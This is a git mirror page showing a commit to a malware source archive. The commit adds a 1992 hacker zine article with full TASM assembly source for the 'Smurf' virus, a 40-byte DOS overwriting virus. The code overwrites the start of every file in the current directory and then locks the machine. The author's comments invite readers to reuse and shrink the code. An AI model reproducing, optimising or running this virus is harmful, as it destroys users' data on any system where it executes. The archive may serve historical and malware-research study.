mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,69 @@
|
||||
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
|
||||
|
||||
Article Title: The Smurf Virus
|
||||
Author: Admiral Bailey
|
||||
|
||||
|
||||
;---
|
||||
; The Smurf virus [40 Bytes Long]
|
||||
;
|
||||
; Author : Admiral Bailey [YAM '92]
|
||||
; Date : June 6 1992
|
||||
; Language : Assembly [TASM 2.0]
|
||||
;
|
||||
; Notes:The Smurf virus was my first attempt at writing the smallest
|
||||
; overwriting virus known. For a first attempt it wasn't that
|
||||
; bad. So far I have got it down to 40 bytes. The record that
|
||||
; does the same as this is about 38 bytes. So I gotta loose 2
|
||||
; bytes in here somewhere. Well seeing as this small thing is
|
||||
; probably the easiest virus in the world to disassemble, I have
|
||||
; included the source in this issue of Evolution for all of you
|
||||
; to take a look at. The source is for you to use. If you
|
||||
; happend to make anything smaller using this source please just
|
||||
; give recognition to myself, Admiral Bailey, saying that you got
|
||||
; help looking at this source. The only thing that this does is
|
||||
; find everyfile in the current directory and overwrite the 1st
|
||||
; 40 bytes with itself. Then locks your computer while it is in
|
||||
; a search loop looking for more file when there are none. A
|
||||
; neat thing about this is that it displays its entire self to
|
||||
; the screen when executed. Scan 91 notices this as the mini
|
||||
; virus but I dont blame it seeing that you cant realy avoid
|
||||
; scan when your virus gets this small. Well enjoy the source...
|
||||
; and remember if you use it and enjoy it just let me know.
|
||||
;---
|
||||
code segment
|
||||
assume ds:code, ss:code, cs:code, es:code
|
||||
org 100h ;Make it a .com file
|
||||
|
||||
virus_start equ $
|
||||
|
||||
start:
|
||||
mov dx,offset file_type ;type of file to look for
|
||||
mov ah,4eh ;Find first file command
|
||||
|
||||
infect:
|
||||
int 21h
|
||||
mov ax,3d02h ;open again to reset handle
|
||||
mov dx,80h+1eh ;moves filename into dx
|
||||
int 21h
|
||||
mov bx,ax ;save handle again
|
||||
mov cx,virus_length ;put size of virus in cx
|
||||
mov dx,100h ;where the code starts
|
||||
mov ah,40h ;write to handle command
|
||||
int 21h ;write virus into file
|
||||
mov ah,3eh ;close handle service
|
||||
int 21h ;do it
|
||||
|
||||
find_next_file:
|
||||
mov ah,4fh ;find next file command
|
||||
jmp infect
|
||||
|
||||
file_type db '*.*',0
|
||||
virus_end equ $
|
||||
virus_length = virus_end - virus_start ;length of virus
|
||||
|
||||
code ends
|
||||
|
||||
end start
|
||||
|
||||
|
||||
Reference in New Issue
Block a user